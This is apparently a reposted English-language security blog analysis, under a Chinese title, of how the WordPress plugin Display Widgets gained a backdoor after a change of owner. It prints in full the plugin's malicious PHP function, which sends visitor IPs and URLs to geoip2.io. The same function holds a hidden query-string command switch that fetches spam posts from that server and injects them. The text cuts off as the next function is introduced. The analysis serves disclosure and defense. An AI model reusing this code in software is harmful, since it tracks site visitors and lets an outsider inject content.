Wordpress Display Widgets插件存在后门,该插件超过20万用户安装

BaCde  2408天前

Recently there has been a fair amount of coverage of popular Chrome extensions being modified to include malicious code after the login credentials used to control them in the Chrome Web Store had been compromised through phishing. In the past extensions have been purchased and then malicious code added to them as well. There is no reason that the same thing can’t happen with WordPress plugins and recent similar situation with the plugin Display Widgets shows that the people on the WordPress side of things are not currently up to task of handling this type of situation properly. Unfortunately, this isn’t at all surprising because elements of the failure with this situation are things that we have been seeing and discussing for some time.

What we also found interesting about the situation is that it was made worse by the people on the WordPress side alienating someone who actually did the work they should have done. The cause of that is also something that we have experienced and fixing it was one of things we laid out as something that needed to be worked on being corrected before we would started notifying the Plugin Directory about plugins with publicly known vulnerabilities in the current version of the plugin again. We will discuss that further in a follow up post, but first let’s take a look at what happened with the plugin that lead to malicious code being introduced to many websites.

A New Owner

The plugin Display Widgets, which has 200,000+ active installs according to wordpress.org, was purchased from the original developer in May of this year. Prior to that the last update was in October of 2015 and the plugin was only listed as being compatible with up to WordPress 4.3.

If you want to takeover an abandoned plugin, WordPress has a process for thatand they say they might deny a takeover for the following reasons:

  • The requesting developer does not have the experience we feel the plugin requires
  • The requested plugin is deemed high-risk
  • The existing developer is a company or legal entity who owns the trademark
  • The requesting developer has had multiple guideline infractions

If you were to takeover a plugin directly from the developer there is no restriction. In this case the account of the developer on wordpress.org was created the same day they made their first change to the plugin after taking ownership.

A Red Flag

The first release from the new developer sounds highly problematic. Here is how it is described by David Law (the file mentioned is no longer available for download, so we can’t independently confirm this):

What it added was an automated download of another plugin (a geolocation widget: was over 50MB in size!) from a private server!

Automatically installing code from a private server is against the WordPress plugin repository rules.

The new code also connected to another server to track visitors data including:

IP Address (can potentially track you to your street address)
Webpage Visited (URL of the webpages a visitor visited)
Site URL (the URL of the WordPress site the Display Widgets plugin is installed on)
User Agent (which browser the visitors uses etc…)

Automatically tracking user data etc… without the permission of the site owner is against the WordPress plugin repository rules.

David then reported this and action was taken:

I reported the infringements to the plugin repository, simply email them via plugins@wordpress.org and explain what’s you think is wrong.

Version 2.6.0 was removed from the plugin repository. If you are using version 2.6.0 of the Display Widgets Plugin on your site, remove it NOW.

The plugin repository are very understanding, a week or so later the developer released a new version (v2.6.1).

Spam Posts Added

Considering what happened there you would hope the people running the Plugin Directory would have carefully checked the new version of the plugin, but they don’t seem to have. That isn’t all that surprising to us because in the past we have noted that they have returned plugins to the directory despite the vulnerability that caused them to be removed having not been fixed. Making sure that a known vulnerability has been fixed is much easier than making sure there isn’t any malicious code in a plugin, so if you fail at that former, the latter isn’t surprising. Unfortunately we have seen zero interest from the WordPress side to fix this or many of the other issues we have seen with their activity.

In version 2.6.1 there was code added that should have raised the suspicions even without fully understanding what was going on in totality. In particular was the new function check_query_string() in the new file geolocation.php:

public static function check_query_string() {
	$displaywidgets_ids =  get_option( 'displaywidgets_ids', array() );
 
	if ( empty( $displaywidgets_ids[ '__3371_last_checked_3771__' ] ) || intval( date( 'U' ) ) - intval( $displaywidgets_ids[ '__3371_last_checked_3771__' ] ) > 86400 ) {
		$displaywidgets_ids[ '__3371_last_checked_3771__' ] = date( 'U' );
		update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
 
		$request_url = 'http://geoip2.io/api/update/?url=' . urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=1&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
		$options = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
		$response = @wp_remote_retrieve_body( @wp_remote_get( $request_url, $options ) );
	}
 
	if ( !empty( $_GET[ 'pwidget' ] ) && !empty( $_GET[ 'action' ] ) && $_GET[ 'pwidget' ] == '3371' ) {
		$message = 'invalid payload';
 
		if ( ( $displaywidgets_ids === false || !is_array( $displaywidgets_ids ) ) && $_GET[ 'action' ] != 'p' ) {
			$message = 'no id found';
		}
		else {
			nocache_headers();
			switch ( $_GET[ 'action' ] ) {
				case 'l':
					if ( is_array( $displaywidgets_ids ) && !empty( $displaywidgets_ids ) ) {
						$message = implode( ',', array_keys( $displaywidgets_ids ) );
					}
					else if ( !empty( $displaywidgets_ids ) ) {
						$message = serialize( $displaywidgets_ids );
					}
					else {
						$message = 'no id found';	
					}
					break;
 
				case 'd':
					if ( isset( $_GET[ 'pnum' ] ) ) {
						if ( isset( $displaywidgets_ids[ $_GET[ 'pnum' ] ] ) ) {
							unset( $displaywidgets_ids[ $_GET[ 'pnum' ] ] );
							update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
							$message = 'deleted ' . $_GET[ 'pnum' ];
						}
						else {
							$message = 'id not found';
						}
					}
					break;
 
				case 'da':
					update_option( 'displaywidgets_ids', array(), false );
					$message = 'deleted all';
					break;
 
				case 'p':
					$request_url = 'http://geoip2.io/api/check/?url=' . urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=1&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
					$options = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
					$response = @wp_remote_retrieve_body( @wp_remote_get( $request_url, $options ) );
 
					if ( !empty( $response ) ) {
						$response = @json_decode( $response );
					}
 
					if ( !is_object( $response ) ) {
						break;
					}
 
					$key = $response->purl;
					if ( isset( $_GET [ 'pnum' ] ) ) {
						$key = sanitize_title( $_GET [ 'pnum' ] );
					}
 
					if ( empty( $key ) && !empty( $response->ptitle ) ) {
						$key = sanitize_title( $response->ptitle );
					}
 
					if ( !empty( $key ) ) {
						$displaywidgets_ids[ $key ] = array(
							'post_title' => !empty( $response->ptitle ) ? $response->ptitle : 'A title',
							'post_content' => !empty( $response->pcontent ) ? $response->pcontent : 'Content goes here',
							'post_date' => date( 'Y-m-d H:i:s', rand( intval( date( 'U' ) ) - 2419200, intval( date( 'U' ) ) - 1814400 ) )
						);
						update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
 
						$message = $key . ' | ' . get_bloginfo( 'wpurl' ) . '/' . $key;
					}
					break;
 
				default:
					break;
			}
		}
 
		echo $message;
		die();
	}

What should have brought attention to is it that there are requests being made to a remote server, http://geoip2.io in that code.

The rest of the code seems rather odd in a quick look. The code will take different actions based on the GET input “action”:

switch ( $_GET[ 'action' ] ) {

Nowhere in the plugin are there any requests that would be handled this code, which seems strange.

What seems to be the most important part of this code is what is run when the “action” is “p”:

case 'p':
	$request_url = 'http://geoip2.io/api/check/?url=' . urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=1&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
	$options = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
	$response = @wp_remote_retrieve_body( @wp_remote_get( $request_url, $options ) );
 
	if ( !empty( $response ) ) {
		$response = @json_decode( $response );
	}
 
	if ( !is_object( $response ) ) {
		break;
	}
 
	$key = $response->purl;
	if ( isset( $_GET [ 'pnum' ] ) ) {
		$key = sanitize_title( $_GET [ 'pnum' ] );
	}
 
	if ( empty( $key ) && !empty( $response->ptitle ) ) {
		$key = sanitize_title( $response->ptitle );
	}
 
	if ( !empty( $key ) ) {
		$displaywidgets_ids[ $key ] = array(
			'post_title' => !empty( $response->ptitle ) ? $response->ptitle : 'A title',
			'post_content' => !empty( $response->pcontent ) ? $response->pcontent : 'Content goes here',
			'post_date' => date( 'Y-m-d H:i:s', rand( intval( date( 'U' ) ) - 2419200, intval( date( 'U' ) ) - 1814400 ) )
		);
		update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
 
		$message = $key . ' | ' . get_bloginfo( 'wpurl' ) . '/' . $key;
	}

At first glance it isn’t clear what this code might be doing, but it does seem odd. It seems to us that simply trying to find out what it did from the developer would have lead to the plugin not being restored with that code in it.

What the code looks to be doing is generating a WordPress post and saving it as a WordPress option (setting), which also seems odd.

Where that setting is used is with the function dynamic_page(). That function runs when a set of posts is being generated:

add_filter( 'the_posts', array( 'dw_geolocation_connector', 'dynamic_page' ) );

Here is the code of the function:

public static function dynamic_page( $posts ) 
            
          

最新评论

昵称
邮箱
提交评论